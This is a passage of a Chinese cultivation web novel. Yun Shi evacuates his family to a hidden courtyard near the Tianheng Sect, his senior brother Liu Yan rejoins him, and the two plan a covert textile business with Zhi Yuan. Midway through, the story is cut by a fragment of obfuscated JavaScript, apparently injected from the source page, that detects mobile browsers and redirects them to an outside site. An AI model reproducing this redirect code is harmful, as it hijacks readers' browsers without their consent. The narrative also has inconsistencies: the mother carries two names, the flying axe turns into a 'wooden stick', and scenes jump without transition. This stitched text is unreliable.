在这里,云实再次取出了斧头。在父母惊疑不定的目光中,他将其平放在地,灵力注入,斧头缓缓变长变宽了几分,足够四人勉强挤坐。他先搀扶着浑身发软的父母坐上去,让云舒坐在中间扶住二老,自己则站在最后方,双手虚按在木棍尾端。 “爹,娘,妹妹,坐稳,抓紧彼此,千万不要松手。无论看到什么,感觉到什么,都别怕,相信我。”云实的声音在夜风中异常沉稳。 下一刻,雄浑却异常平稳的灵力自他掌心奔涌而出,注入木棍。灰蒙蒙的光泽再次亮起,将四人笼罩在一个略显薄弱却足够挡风的灵力护罩内。木棍发出低沉的嗡鸣,缓缓离地升起。 “啊!”林秀短促地惊叫一声,死死抓住身旁的云天青和云舒。云天青也是脸色发白,紧闭着嘴。云舒虽然也紧张地咬住了下唇,但眼神里更多是惊奇和对哥哥的信任。 “走!” 斧子化作一道比之前更庞大、却也依旧不算醒目的灰影,悄无声息地滑入夜空,朝着东南方向,朝着天衡宗所在的连绵群山飞去。 这一次,负载三人,对云实的灵力控制提出了更高的要求。他必须将灵力输出调节得极其平稳,护罩也要足够柔和,避免父母因高速和高度产生严重不适。同时,还要维持一定的速度,并时刻警惕下方的动静,避开可能有人烟或灵力聚集的区域。 夜空中星辰寥落,风很大。云实站在后方,如同最坚定的舵手,灵力源源不绝,却又举重若轻。苏妄的那股力量在深处涌动着,提供了近乎无穷的后劲,但也带来更大的掌控压力。他额角渗出细密的汗珠,脸色在月光下显得更加苍白,但眼神锐利如鹰,紧紧锁定着前方黑暗中的山峦轮廓。 父母起初的惊恐,在飞行逐渐平稳后,慢慢被一种超越认知的震撼所取代。他们紧紧靠在一起,透过略显透明的灵力护罩,看着下方飞速掠过的、缩小了无数倍的山川河流、城镇灯火,如同置身于一个光怪陆离的梦境。云舒则渐渐适应,甚至开始仔细观察哥哥操控飞行的方式,眼中闪动着思索的光芒。 中途,云实再次选择了僻静山林降落休整。给父母喂了些水和干粮,自己也抓紧时间调息。如此飞行、休整、再飞行,当东方天际泛起鱼肚白时,脚下已是熟悉的山峦。翠微山脉的支脉,栖霞镇就在山脚的薄雾中若隐若现,而他们飞行的方向,则刻意偏离了镇子,朝着山脉更深处、人迹更罕至的一片原始森林降落。 最终,他们在一片被高大乔木和浓密藤蔓遮蔽的山谷边缘缓缓落地。木棍上的光泽几乎完全暗淡,云实也感到一阵强烈的虚脱,但他强撑着,搀扶腿脚发软的父母下来,云舒也赶紧帮忙。 此地幽深寂静,只有鸟鸣啾啾,溪水潺潺,空气中弥漫着浓郁的草木灵气和泥土的气息。远处,可以隐约望见天衡宗几座主峰缭绕的云雾,却又相隔甚远,避开了宗门日常活动的范围。 “暂时……就是这里了。”云实喘了口气,指着山谷深处一个背风、干燥,且有天然石檐遮蔽的地方,“我们先在那里安顿。等我恢复一下,我们就和纸鸢会和。” 云天青和李氏看着这完全陌生的荒野环境,再对比昨夜还在家中院落,恍如隔世,一时间相顾无言,疲惫和茫然涌上心头。云舒却已迅速行动起来,从云实递过来的储物袋中取出简易的铺盖、水囊和干粮,开始收拾那个临时的栖身之所。 云实走到一边,背靠着一棵古树坐下,闭目调息。带着三人长途御物飞行,尤其还要时刻维持稳定和隐匿,对他而言也是极大的负担。但感受着家人就在身边暂时安全,那份沉甸甸的焦虑,总算放下了一半。 …… 次日晌午过后,山路渐缓,前方隐约可见官道的痕迹,以及更远处升起的炊烟,似乎是一个不大的驿站或小村落。连夜的惊惶赶路,父母脸上已满是疲惫,林秀的脚更是磨出了水泡,走路一瘸一拐。云实心下不忍,便道:“前面似乎有个歇脚的地方,我们过去稍作休整,买些干粮清水,再打听一下确切路径。” 云天青沉默地点点头,林秀更是松了口气。云舒搀着母亲,眼神却警惕地扫视着周围。 他们刚靠近那处简陋的、只有几间土房和一处茶棚的野店,还未等坐下,斜刺里便转出五六个人来。这些人衣着不算统一,但料子都算结实,式样偏向北地常见的窄袖绑腿,腰间挂着制式不一的铁尺、锁链或短棍,脸上带着一种介于公门胥吏与地方豪强打手之间的油滑与蛮横。为首的人目光在云实四人身上一扫,尤其在云实背后那用布缠着的柴斧和一家人风尘仆仆、神色惊惶的面上停留片刻,嘴角便扯出个似笑非笑的弧度。 “站住!”他一抬手,挡住了去路,“哪儿来的?路引呢?看你们形迹可疑,不像是寻常走亲访友的吧?” 云实心下一沉。他最担心的情况还是出现了。这些人未必是温言直接派来的,更像是地方上借着盘查之名、行敲诈勒索或替某些势力充当眼线的地头蛇。他们修为不高,甚至可能压根没有正经修为,但麻烦在于,一旦冲突起来,动静必然不小,很容易暴露行踪,而且刀剑无眼,极有可能波及身后毫无自保之力的父母和妹妹。 他上前半步,将家人隐隐挡在身后,脸上挤出一丝讨好的笑容,微微躬身:“几位差爷,小的是带着家里人去前面镇上探亲的,路上耽搁了,走得急了些。路引……路上不慎遗失了,您看能不能通融……” 他一边说,一边悄悄将手探入怀中,摸出几块碎银,这是他从京城出来时仅剩的一点盘缠。 那人瞥了眼他手中的银子,嗤笑一声,非但没有接,反而眼神更厉:“遗失?这么巧?我看你们分明是心里有鬼!这兵荒马乱的年月,谁知道你们是不是北边流窜过来的奸细,或是犯了事在逃的贼人!” 他身后的几人立刻散开半步,隐隐形成合围之势,手按在了兵器上。 林秀吓得脸色发白,紧紧抓住云天青的胳膊。云天青挺直了佝偻的背,想将妻女护得更严实些。云舒抿着唇,眼神快速扫视周围环境,寻找可能的退路或遮挡。 云实的眼神沉了下来。银子不行,说理不通,对方摆明了要找茬,或者真就是得了什么风声在此拦截。他丹田内那股力量开始缓缓流转,神识锁定了面前几人的动作和气息薄弱处。硬闯过去不难,但这几个地头蛇若临死反扑或大声呼喝,引来更多注意,后续就麻烦了。更关键是父母妹妹就在身后…… 就在他计算着是先发制人迅速击倒为首两人打开缺口,还是尝试用更隐蔽的乱力干扰对方神智制造混乱时,一道青白色的剑光,毫无征兆地,如同撕破阴云的冷电,自众人侧方的树林边缘倏然亮起! 那剑光并不盛大耀眼,却快得超出了在场所有人的反应。它并非直刺,而是灵巧至极地划出几道简洁而凌厉的弧线,精准地拍击在那几名汉子的手腕、膝弯或肩胛处。 “哎哟!” “我的手!” “什么东西?!” 几声短促的痛呼与惊呼几乎同时响起,伴随着铁尺锁链“叮当”落地的声音。那五六人如同被无形的重锤击中,又像是被狂风卷起的落叶,东倒西歪地向后跌飞出去,狼狈地摔倒在尘土里,一时竟都爬不起来,只剩下呻吟的份儿。为首的摔得最重,捂着手腕,惊骇欲绝地看向剑光来处。 剑光收敛,现出一个身影。 那人穿着一身半旧的天衡宗内门弟子常服,青色底子洗得有些发白,袖口和下摆沾着山野间的草屑与露水。他身姿挺拔如松,面容比云实记忆中清减了许多,下颌线条绷得有些紧,眼下带着淡淡的青黑,显然是长久未能安眠。但那双眼睛,此刻却亮得惊人,如同寒潭深处骤然点燃的两簇火焰,牢牢地、一瞬不瞬地钉在云实身上,里面翻涌着太多复杂到几乎要满溢出来的情绪——狂喜、后怕、焦灼、释然,还有一丝难以掩饰的、近乎失而复得的脆弱。 是流衍。 云实愣住了,完全没想到会在这里,以这种方式与他重逢。 流衍却似乎根本没看地上那些呻吟的家伙,他的目光仿佛被磁石吸住,只看着云实。那眼神里翻涌着太多复杂的情绪——不是惊讶,而是一种浓重得化不开的后怕,混合着看到人安然无恙时瞬间崩塌的紧绷,以及压抑已久的担忧终于找到出口的震颤。下一刻,他几乎是踉跄着,一步便跨过了数丈的距离,猛地张开双臂,将还在发怔的云实狠狠拥入怀中。 那拥抱的力道大得惊人,带着一种仿佛要将人骨头都揉碎的急切和……失而复得的恐惧。云实能清晰地感觉到流衍身体的紧绷和难以抑制的颤抖,能闻到他身上熟悉的、混合着淡淡药草和山间清冽气息的味道,也能听到他胸膛里那颗心脏正以前所未有的狂乱节奏撞击着。 “云实……”流衍的声音紧贴着他的耳廓响起,低沉、沙哑,每一个字都浸满了紧绷过后骤然松开的战栗,“……你出来了。你真的……出来了。” 他没有质问,没有责备去温府的决定本身,只是反复地、近乎喃喃地确认着这个事实。那声音里带着一种劫后余生般的虚脱,和深藏其下的、几乎要将他淹没的后怕,怕的是那个“万一”,是云实踏入温府后可能遭遇的任何一种他无法预料、也无法阻止的糟糕结果。这数十个时辰的等待与未知的煎熬,此刻才随着怀中真实的体温和心跳,化为沉重而滚烫的情绪洪流。 云实鼻尖一酸,他当然知道流衍在怕什么。他自己又何尝不是提着心吊着胆走的那一遭。他抬起手,轻轻回抱住流衍紧绷的后背,低声道:“嗯,出来了。没事了。” 但理智很快回笼。他记起身后还有目瞪口呆的父母和妹妹。 “流衍师兄……”云实稍微用力,想要提醒他当下的场合,声音也有些发干,“别这样……我家里人……还在呢。” 流衍骤然从激烈的情绪中清醒过来。他身体一僵,手臂的力道倏地松开,几乎是有些仓促地向后退了半步。他这才仿佛第一次看到云实身后,那对看起来饱经风霜、此刻正一脸惊疑不定看着他们的老夫妇,以及那个扶着母亲、眼神清澈中带着审视的少女。 流衍的脸上瞬间掠过一丝尴尬的红晕,但很快被他强行压了下去。他迅速整理了一下衣袍,深吸一口气,将脸上所有外露的激烈情绪收敛,重新变回了那个礼数周全、气质清冷的天衡宗内门弟子形象。 他转向云天青和林秀,端正了神色,抱拳,深深一揖:“晚辈流衍,见过伯父、伯母。方才……方才晚辈一时情急,失礼了,惊吓到二位长辈,实在惭愧。” 他的礼节一丝不苟,声音也恢复了往日的清朗平稳,只是仔细听,还能辨出一丝残余的紧绷。 云天青和林秀对视一眼,都有些回不过神。他们记得流衍,是云实在天衡宗时那位颇为照顾他、看起来稳重又有些疏离的师兄。可刚才那一幕……那激动忘形、甚至带着怒气的拥抱,全然颠覆了之前的印象。但流衍此刻恭敬有礼的态度,又和记忆吻合了。 林秀先反应过来,忙道:“没、没事……流衍仙师快别多礼。” 云天青也咳嗽一声,抱拳还礼:“流衍仙师……多谢出手相助。”他看向地上那几个还在哎哟叫唤、却不敢再妄动的人,“这些人是……” “不过是些借着由头生事的宵小,或是被人利用的眼线。”流衍的语气冷了下来,瞥了那些人一眼,那目光中的寒意让地上几人齐齐打了个寒颤,呻吟声都小了,“不必理会他们。此地不宜久留。” 他重新看向云实,眼神里的关切掩去了方才的尴尬,“你们这是要往哪里去?可有稳妥的落脚处?” 云实摇头:“暂无确切去处,只想先寻个僻静地方安顿爹娘和妹妹。” 流衍闻言,立刻道:“纸鸢姑娘之前与我传讯时已有安排。她在天衡宗山门外围的栖霞镇附近,有一处闲置的小院子,本是纸云坊早年囤货所用,后来生意拓展便闲置了。她已收拾出来,家具物什还算齐全,位置也清净稳妥。若你们不嫌弃,可暂去那里安身。她知道你们可能要来,已将具体位置和开启院门的法子告知于我。” 云实看向父母,用眼神询问。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934582|192840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >云天青和林秀一路颠簸,早已身心俱疲,此刻有个看似可靠又曾是儿子师兄的人提供遮风挡雨之处,哪还有不愿意的。林秀连忙道:“那……那真是太麻烦流衍仙师了。” “伯母不必客气,叫我流衍即可。”流衍语气温和了些许,又看向云舒,微微颔首,“云舒妹妹,一路辛苦了。” 云舒也乖巧地回了一礼:“多谢流衍师兄。” 她心思剔透,虽然对刚才那一幕和这位师兄与哥哥之间明显超乎寻常同门的情谊满腹疑问,但此刻也知不是问的时候。 “事不宜迟,我们这就动身。” 流衍行事干脆,他看了一眼地上那几个噤若寒蝉的家伙,随手弹出几道细微的灵力,封住了他们的几处穴道,确保他们至少几个时辰内无法动弹也无法大声呼喊。 “从此处往东南,绕过前面那个山坳,有一条更隐蔽的小路可通栖霞镇外围。我御剑带伯父伯母和云舒妹妹一程,云实你……” 他看向云实,眼神里带着询问。 “我跟着。”云实点头。他知道流衍是顾及他可能不愿在家人面前过多展露修为,或者另有考量。 流衍也不多言,并指一引,方才那柄青光湛湛的长剑便悬浮于低空,变大了些许。他先搀扶着有些畏高的林秀小心翼翼踏上去,让她坐下扶稳剑身,又请云天青上去坐在妻子身后。云舒倒是胆大,在流衍的示意下也稳稳站了上去。 “伯父伯母,云舒妹妹,坐稳扶好,不必害怕。”流衍叮嘱一句,自己则轻身立在剑尖前方。长剑发出一声清越的嗡鸣,平稳升空,离地数尺,朝着东南方向缓缓飞去,速度不快,显然是为了照顾凡人的承受能力。 云实也唤出柴斧,踏足其上,保持着一段不近不远的距离,跟随在流衍剑光之后。他望着前方流衍挺直的背影,心中五味杂陈。 约莫飞行了小半个时辰,下方地势渐缓,出现了零星的农田和屋舍,远处一座小镇的轮廓在暮色中显现,正是栖霞镇。流衍操控着飞剑,并未进入镇子,而是拐向镇子东北面一片背靠山麓、相对幽静的竹林边缘。竹林深处,隐约可见几间白墙灰瓦的房舍。 飞剑缓缓降落在一处整洁的院落中。院子不大,但收拾得井井有条,墙角种着几丛晚菊,正开着黄白的花。三间正房,两侧各有厢房,虽然朴素,却窗明几净。 流衍收了飞剑,搀扶着林秀稳稳落地,又虚扶了云天青一把。云舒自己轻盈地跳下,目光敏锐地扫过这处掩在竹林间的静谧院落,紧绷的肩颈线条几不可察地松了一丝。 “就是这里了。”流衍推开正房的门,里面桌椅床榻俱全,窗明几净,被褥叠放整齐,甚至窗台上还放着一小盆绿意盎然的兰草,显然是有人提前精心打理过,“纸鸢姑娘心细,提前遣人收拾过。日常用度一应都有,后院小厨房里米粮油盐俱足,柴火也是备好的。”他侧身让开,语气温和。 云天青和林秀看着这比预想中好上太多的安身之所,心中惶恐稍安,但更多的疑问和一路积压的惊惧却浮了上来。 林秀忍不住拉着云实的衣袖,声音还带着颤:“实儿,这、这到底是怎么回事?好端端的,怎么就到了要丢下家业、躲到这深山里头来的地步?你们……你们是不是惹上什么不得了的事情了?” 云天青也沉沉地叹了口气,在堂屋的椅子上坐下,眉头拧成了疙瘩,看向流衍,又看看儿子:“流衍仙师,您是高人,又是实儿的师兄,您给说说。我们老两口,还有舒儿,总得知道是为什么逃,往后……又是个什么章程。” 云实和流衍对视一眼。流衍几不可察地点了下头,率先开口,语气郑重:“伯父,伯母,云舒妹妹,此事说来话长,牵连甚广,确实凶险。但请相信,云实所做一切,绝非招惹是非,实是身不由己,乃至被卷入巨大漩涡之中。” 云实接着话头,在父母面前蹲下身,握住母亲冰凉的手,抬眼看向父亲,声音沉静却带着不容置疑的坦诚:“爹,娘,我长话短说。我在外头,因为一些……特殊的天赋和手艺,被一个势力极大的人物看中。那人起初或许有些欣赏,但更多的是想将我牢牢控制在手心里,替他做事。我不愿完全受制于人,更不愿将家人牵扯进这潭浑水,所以一直试图周旋、离开。” 他略去了温言的名字和具体纠葛,但核心矛盾清晰。 “前些日子,我假意顺从,本想趁机彻底了断,取回一些东西,也让对方死心。没想到……”他顿了顿,看了一眼流衍,“对方手段强硬,远超预料,不仅不肯放手,反而变本加厉,甚至可能动用势力,从家人这边施压或……不利。” 流衍适时接上,语气凝重:“云实所料不差。我此前因一些缘故,也在暗中查访相关之事,发现对方行事确无底线,且触角极广。青石镇虽偏,但并非绝对安全。那伙在路上拦截之人,看似地痞,实则难保没有受其驱使、探听风声的眼线。一旦被他们确认云实与家中的联系,后续恐有源源不断的麻烦,甚至直接危及各位安全。” 云舒听得脸色发白,却紧紧抿着唇。林秀倒吸一口凉气,眼泪又在眼眶里打转:“这可怎么是好……我们老老实实做生意,从未得罪过谁啊……” 云天青沉默片刻,重重一拍大腿,声音苦涩:“匹夫无罪,怀璧其罪!实儿,爹明白了。是爹娘没用,护不住你,反倒成了你的拖累……” “爹!”云实急忙打断,眼神恳切,“千万别这么说!是儿子不孝,学了些不该学的东西,才招来这些祸事。如今唯一能做的,就是确保你们平安。离开青石镇是不得已,但只有离开,才能暂时避开锋芒。纸鸢姐和流衍师兄都在帮忙,这里相对隐蔽,靠近天衡宗地界,寻常势力不敢轻易过来放肆。我们暂时安顿下来,再从长计议。” 流衍也温言道:“伯父伯母且宽心。此院虽在镇外,但安全无虞。日常所需,我与纸鸢姑娘自会设法供给,绝不会短缺。云实眼下需些时间恢复元气,厘清头绪。你们便在此安心住下,只当是……换个清静地方休养一阵。” 他的话语沉稳有力,带着一种令人信服的笃定。云天青看着眼前这两个年轻人,一个是他历经磨难、眼神已不同往昔的儿子,一个是气度不凡、明显身份不低却对儿子关怀备至的“仙师”,知道事情远非他们老两口能理解和插手。他长长吐出一口浊气,仿佛将半辈子的担忧和无力都叹了出来,最终点了点头,对林秀道:“孩子他娘,孩子们都安排好了,咱们……就听他们的吧。只要人没事,比什么都强。” 林秀抹着泪,也点了点头,紧紧抓着云实的手:“娘听你的,娘只要你们都好好的。” 云舒这时才开口,声音清晰:“哥,流衍师兄,有什么我能做的吗?照顾爹娘,打理这个院子,我都行。” 云实看着妹妹,心中一暖,又有些酸楚:“舒儿,暂时先照顾好爹娘和自己。外头的事,有我和师兄。” 流衍也道:“云舒妹妹且安心,此处阵法我已稍作加固,寻常人寻不到,也进不来。你们日常起居,无须担忧安全。” 一番解释和安抚,总算让惊魂未定的家人稍稍稳住了心神。虽然前途未卜,但至少眼下有了遮风挡雨的屋檐,有了相对安全的屏障,更重要的是,一家人在一起,云实也安然无恙。 流衍并未立刻离开,而是帮着云实将一些沉重的行李搬进屋内,又仔细检查了后院的水井、灶台,确认阵法运转无误。直到暮色四合,林秀和云舒开始张罗简单的晚饭,流衍才与云实走到院外的竹林边。 此刻,只剩下他们两人。竹林沙沙作响,远处栖霞镇的灯火星星点点亮起。 流衍转过身,看着云实。白日里在云实家人面前维持的沉稳与周全,此刻如同潮水般褪去,只剩下眼底深重得化不开的疲惫,以及那股几乎要将他淹没的、失而复得后的虚脱。他什么也没说,只是往前一步,再次伸手将云实用力地、紧紧地拥入怀中。流衍的下颌轻轻抵在云实的肩窝,呼吸深深埋入他的颈侧。 云实彻底放松了身体,回抱住流衍精瘦却有力的腰背。他能清晰地感受到对方胸膛下同样激烈的心跳,能感觉到那细微的、几乎不易察觉的颤抖。不需要任何言语,所有的担忧、恐惧、后怕,还有劫后余生的庆幸,都在这个沉默而用力的拥抱里了。竹林沙沙,远处镇上的灯火模糊成一片温暖的光晕,世界仿佛只剩下这一隅相拥的温暖与安宁。 过了许久,流衍才极轻地吐出一口气,手臂稍微松了些力道,却没有放开,只是微微侧头,嘴唇几乎擦过云实的耳廓,声音低得只有彼此能听见:“……下次,不许再这样。” 没有说“不许怎样”,但云实听懂了。是不许再这样独自去冒险,不许再让他提心吊胆地等待一个不知能否安然归来的消息。 “嗯。”云实低低应了一声,同样贴着他的耳畔,“不会了。” 他知道这承诺未必能做到,但此刻,他愿意给出。 流衍又静静地抱了他一会儿,才终于缓缓松开,双手却仍旧扶在他的肩臂上,借着朦胧的夜色仔细看他,目光在他脸上逡巡,仿佛在确认每一处细节都完好无损。那眼神里的关切和专注,炽热而直接,再无半分遮掩。 云实被他看得有些耳热,却也没躲,只是抬手,用指腹轻轻擦过流衍眼下的淡青:“你也没好好休息。” 流衍抓住他的手,握在掌心,指尖微凉,却握得很紧。 “找不到你,如何能安睡。”他说得平淡,却字字千斤。他牵着云实的手,走到竹林边一块较为平整的青石旁坐下,依旧没有松开,“现在,说说你的打算。” 他的语气恢复了惯常的冷静,但握着云实手指的力道,泄露了那份不愿再分离的在意。 云实任由他牵着,另一只手无意识地拨弄着竹叶,声音在静谧的夜色里显得清晰:“躲,藏,都不是办法。温言不会放手,苏妄留下的那些谜,都像一根根看不见的线,缠着我。但光靠躲和跑,解决不了问题,反而会让在意的人一直处在阴影下。”他顿了顿,侧头看向流衍,眼中映着微光,那光里不再是迷茫或孤注一掷,而是一种沉淀下来的、清晰的算计,“我需要立足,需要本钱,需要声音。” 流衍摩挲他手背的拇指微微一顿,专注地看向他,等他的下文。 “纸鸢之前提过合作。”云实继续道,语气平稳,像在陈述一个斟酌已久的计划,“我要应下。先从这栖霞镇,从这翠微山周边开始。用我的织理,做些真正实用、价格又能让寻常百姓或低阶修士勉强够得着的东西。不一定是储物袋那种敏感物事,可以是更耐穿耐磨的衣物,附带一点清心、防潮、甚至极其微末防护功效的日常用品。纸鸢有门路,懂经营,也有掩盖特殊货源的办法。我们一起,慢慢把摊子铺开。” 他望向夜色中天衡宗模糊的轮廓,眼神却仿佛穿透了山峦,看到了更远处:“赚来的钱,一部分安顿家里,让他们哪怕离了我也能过得宽裕。另一部分,攒起来。收买消息,结交一些……或许不得志、但有真本事,或者只看重利益、易于掌控的散修或边缘人物。情报,人手,甚至某些场合下的势,光靠我们两个,不够。” “温言以为他拿到的是全部。”云实的声音压低了些,带着一丝冰冷的嘲讽,“我交给他的那本册子,里面关于几种关键复合纹路的节点转换、还有不同属性材料适配的核心比例……我改了三处,颠倒了一处。照着他的册子做,初期或许能成,但想达到我做出的效果,或者想更进一步,只会卡死在瓶颈,甚至损毁材料。真正的关窍和后续的思路,” 他另一只手轻轻点了点自己的太阳穴,“在这里,还有一些,记在只有我自己才看得懂的草稿上,没给任何人看过。” 他转回流衍,目光灼灼:“我要用纸鸢的渠道,把我真正改良后的、适合流通的东西慢慢打出去。让织理不再只是温言或者少数人觊觎的秘技,而是变成一种……虽然稀有,但确实在底层修士和富足凡人间流传开的手艺。知道的人多了,用它的人多了,我就没那么特殊,也没那么容易被人无声无息地吞掉。同时,我自己也能借着这个机会,接触更多材料,琢磨更多变化,赚取修炼的资源,稳稳当当地,从各个方面变强。” 夜风吹过竹林,带来沙沙的响声。流衍沉默了许久,拇指才重新开始缓缓摩挲云实的手背,动作比之前更轻柔,也更沉。 “纸鸢确有此意,她之前传讯,便提过合作之事,认为你的技艺不该埋没,亦有其独特价值。”他缓缓道,肯定了云实计划的基础,“此计……可行。借商行之事立足、聚财、养望,确比单纯隐匿或苦修更多辗转腾挪的余地。天衡宗附近,各方势力错综复杂,反而有利于此类不起眼的营生扎根。宗门内,我亦可留意一些可能与‘织理’相关的偏门典籍或材料线索。” 他握紧了云实的手,语气加重:“但其中分寸,须得仔细拿捏。扩散过快,恐引人注目;所制之物功效过于突出,亦会招灾。与纸鸢合作,需明确界限,哪些可为人知,哪些必须死守。至于收买人手,更需慎之又慎,人心难测,利聚而来,利尽而散,甚至反噬其身,此类事并不少见。” “我明白。”云实点头,流衍的提醒让他发热的头脑更清醒了些,“所以需要慢慢来,像织布一样,一纬一经,不能乱。先做最不起眼的,打好底子。人手……先从打听消息开始,不急于招揽。真正的核心,永远只能握在自己手里。”他顿了顿,看着流衍,“这件事,我需要你帮我看着,我怕我一时急切,或者算计不够周全。” “好。”流衍的声音低沉而坚定,“我帮你看着。你想织一张多大的网,我便陪你一起,做那理线穿梭的梭子。但记住,”他稍稍退开,凝视着云实的眼睛,“无论网织到多大,线头要永远攥在自己手心。温言给你的教训,一次就够了。” “一次就够了。”云实重复道,眼神锐利如初淬的针。 流衍侧过头,在云实唇角极轻、极快地碰了一下,如蜻蜓点水,一触即分,却在夜色中留下清晰而温存的痕迹。 “先回去吃饭,伯母该等着了。”他率先站起身,顺势将云实也拉起来,手却依旧没有松开,牵着他,慢慢走回那亮着温暖灯火的院落。那交握的手,在夜色中成了一个无声的、坚实的承诺。 25. 【二十二】 夜色中的竹林小院仿佛一个与世隔绝的茧,将外界的惊涛骇浪暂时阻隔。但天光一亮,现实的脉络便沿着栖霞镇的石板路,悄无声息地蔓延进来。 云实与纸鸢的合作,以一种低调却不容忽视的方式展开了。他们没有大张旗鼓地开新店,而是通过纸鸢原本的纸云坊渠道,以及她在本地行商中织就的人情网络,将一批批看似普通、细察却别有玄机的布料和成衣,悄然流入市集。 这些布料,有的格外挺括耐磨损,洗晒多次也不易变形褪色;有的内衬编织了极简的引导纹路,穿着时能让人心绪稍宁,对于日夜劳作的农人、心神耗损的低阶修士或苦读的书生,有着难以言喻的安抚效果;还有少数成衣,在肩肘等易磨损处,布料纤维的排布经过云实巧思调整,防御力堪比一层薄而韧的软甲,却又丝毫不显笨重。 关键就在于价格。纸鸢定下的价码,只比同等质量的普通布料高出不到两成,有些甚至持平。对于真正需要的人来说,这点溢价换来的耐用与舒适,堪称惊喜。消息在小范围内口口相传,订单虽不爆满,却稳定而扎实。 然而,利益的涟漪很快触动了水下的礁石。 最先发难的是栖霞镇本地两家最大的绸布庄。他们先是派人以查看新品为名上门,言语间夹枪带棒,暗示纸鸢坏了行规,用不明来路的“妖布”扰乱市场,压榨匠人生计。接着,镇上的颜料坊、染坊也隐约透出风声,说纸云坊新来的货色颜色固着诡异,恐用了不合法的便宜染料,长久穿戴于人体有害。流言虽未明指,却像阴湿的苔藓,悄然滋生。 这一日,云实正在院后的僻静处,尝试将一缕极淡的寒意织入一批夏季衣料,以期达到更清凉透气的效果。纸鸢脚步略显急促地走了进来,眉头微蹙,将一份誊抄的、盖有本地行会模糊印记的“劝诫书”放在一旁的石桌上。 “看看,该来的还是来了。”纸鸢语气倒不算慌张,更多的是疲惫和一丝冷嘲,“说咱们‘低价倾售,竭泽而渔’,‘用料不明,恐伤天和’,劝咱们‘回归正道,以质取胜’,否则……哼,否则行会日后便不好替咱们说话了。” 云实停下手中的活计,拿起那张轻飘飘却重若千钧的纸。上面的字句冠冕堂皇,底下却透着不容置疑的排挤。他眼前闪过染坊后面那些双手常年浸泡在刺鼻染料里、面色蜡黄的工人。自己这样压低价格卖出更好的东西,真的……是在挤压他们的生计吗?一种熟悉的、混合着不安与愧疚的情绪涌上心头。他之前只想立足,想扩散影响,却忘了自己这异数闯入的,是一个早已盘根错节、无数人赖以生存的旧池子。 “纸鸢姐,”云实的声音有些发干,指尖无意识地捻着那块试验中的清凉布料,“我们……是不是做得太急了?价格压得太低,挡了太多人的路。要不……我们先缓一缓,把价格提回正常水平?或者,减少出货?” 纸鸢看着他眼中那份属于手艺人的纯良和犹豫,叹了口气,在他旁边的石墩上坐下,自己倒了杯凉茶一饮而尽。 “云实,你当这只是咱们跟镇上几家布庄抢饭吃的事儿?”她放下茶杯,目光投向院墙外灰蒙蒙的天空,语气沉了下来,“我这两天,跟几个常跑北边和京畿的行商老客吃了顿饭。听到的消息,让人心里发凉。” 她顿了顿,似乎在组织语言,如何将看到的冰山一角说清楚:“他们说,现在上面……不太平。” 云实心头一紧,凝神倾听。 “京城那帮老爷们,还在为赋税、为边患、为哪个皇子更得圣心吵得不可开交。可下面呢?”纸鸢的嘴角扯出一个讽刺的弧度,“咱们这布料生意,源头是棉花、是麻、是蚕丝、是染料。可你知不知道,北边好几个产棉的州县,今年春耕的农户少了三成不止?不是闹灾,是人跑了,或者干脆不种了。” “为什么不种?”云实下意识问。 “种不起,也看不见指望。”纸鸢的声音很冷,“种子,你得向官仓或指定的豪绅买,价比往年高了三成。耕牛、农具租赁,价钱也涨。好不容易种下去,若是风调雨顺还好,稍有旱涝,便是血本无归。就算丰收了,粮价又被压得极低,交完租赋,剩下的换不来几尺布、几斤盐。辛苦一年,倒欠一屁股债的,大有人在。” 她看向云实,眼中只有一种深切的无力:“你说,是农户懒得种地吗?上面那些大人物,或许真这么觉得,底下人刁顽,不堪驱使。可我听到的是,他们连来年的种子都快买不起了,拿什么种?命吗?” “我们用的染料,几种关键矿石来自西南。那边传来的消息更乱,好像有零星的械斗,不是匪患,像是……活不下去的矿工和当地驻军起了冲突。商路时断时续,染料价格一天一个样,还未必买得到好货。” 纸鸢的手指轻轻敲着石桌:“云实,你以为咱们把布卖便宜点,是抢了同行的饭碗。可在那些真正的大人物眼里,在那些能让一个州县农户弃耕、能让一条矿脉动荡的力量面前,咱们这点小打小闹,这点布料差价,算得了什么?连池塘里的小涟漪都算不上。” 她深吸一口气,目光重新变得锐利而坚定:“同行不满,排挤,是必然的。因为他们的日子也不好过,原料在涨,销路在萎缩,他们不敢动上面的利益,只能死死抱住自己那一亩三分地,任何一点风吹草动,都会让他们惊惶,然后联合起来,想把冒头的新芽掐死。这是他们的生存之道,可怜,也可恨。” “但我们不能停。”纸鸢斩钉截铁,“不是因为咱们多高尚,而是因为,如果我们现在停了,提价了,缩回去了,那才真叫完了。我们那点用你的织理做出来的、能让普通人稍微好过一点的东西,就永远只能是个见不得光的秘密,或者将来变成某个大人物奇货可居的收藏品。而外面那个世道,正在肉眼可见地变坏。种子买不起的农户,染不起色的织工,用不起好布的人……他们需要一点实在的东西,哪怕只是让一件衣服穿得久一点,让夏日劳作时稍微凉快一点。” 她看着云实,眼神清澈而有力:“我们现在不是在跟镇上的布庄抢生意,云实。我们是在跟这个正在慢慢烂掉的世道,抢一点点生机,一点点让普通人还能稍微体面、稍微有点盼头活下去的可能。这条路会很难,会有更多明枪暗箭。但如果我们现在退了,不仅对不起那些已经开始信赖我们东西的客人,更对不起我们自己……和你身上那点不该被埋没的‘不一样’。” 云实静静地听着,胸中翻腾的情绪从最初的羞愧不安,逐渐沉淀为一种沉重的清明。纸鸢说得对,他们早已被卷入了更大的漩涡,个人的进退得失,在时代倾轧的阴影下,显得如此渺小又如此关键。 他缓缓吐出一口浊气,眼神重新变得坚定。他拿起那份“劝诫书”,指尖腾起一缕极其微弱的、几乎看不见的乱力,纸张无声地化为细碎的纸屑,从他指缝间簌簌落下。 “我明白了。”云实的声音平稳下来,“生意照做,价格不动。他们要排挤,便让他们排挤。不过……”他眼中闪过一丝冷光,“若他们只想掐死新芽,不想着如何把池塘挖深拓宽,那也别怪新芽的根,长得比他们想的更韧,扎得更深。” 